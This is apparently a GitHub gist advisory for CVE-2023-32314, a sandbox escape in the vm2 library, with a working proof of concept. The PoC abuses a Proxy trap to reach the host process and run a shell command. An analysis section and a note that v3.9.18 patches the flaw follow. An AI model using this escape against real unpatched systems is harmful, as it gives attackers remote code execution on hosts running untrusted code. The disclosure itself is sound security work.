Skip to content

Instantly share code, notes, and snippets.

@arkark
Last active January 16, 2024 20:48
Show Gist options
  • Save arkark/e9f5cf5782dec8321095be3e52acf5ac to your computer and use it in GitHub Desktop.
Save arkark/e9f5cf5782dec8321095be3e52acf5ac to your computer and use it in GitHub Desktop.
Sandbox Escape in [email protected] - CVE-2023-32314

Sandbox Escape in [email protected]

A sandbox escape vulnerability exists in vm2 for versions up to 3.9.17. It abuses an unexpected creation of a host object based on the specification of Proxy, and allows RCE via Function in the host context.

Impact

A threat actor can bypass the sandbox protections to gain remote code execution rights on the host running the sandbox.

PoC

const { VM } = require("vm2");
const vm = new VM();

const code = `
  const err = new Error();
  err.name = {
    toString: new Proxy(() => "", {
      apply(target, thiz, args) {
        const process = args.constructor.constructor("return process")();
        throw process.mainModule.require("child_process").execSync("echo hacked").toString();
      },
    }),
  };
  try {
    err.stack;
  } catch (stdout) {
    stdout;
  }
`;

console.log(vm.run(code)); // -> hacked

Analysis

err.name.toString is called at ErrorPrototypeToString in prepareStackTrace from the host context.

Also, the definition of [[Call]] internal method of a Proxy object is as follows:

  1. Let argArray be CreateArrayFromList(argumentsList).
  2. Return ? Call(trap, handler, « target, thisArgument, argArray »).

When err.name.toString is called, the step 7 creates argArray in the host context and the host object is passed to args of apply(target, thiz, args). So, you can access Function constructor of the host context.

Credits

Takeshi Kaneko (GMO Cybersecurity by Ierae, Inc.)

@arkark
Copy link
Author

arkark commented May 16, 2023

This vulnerability was patched at v3.9.18:

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment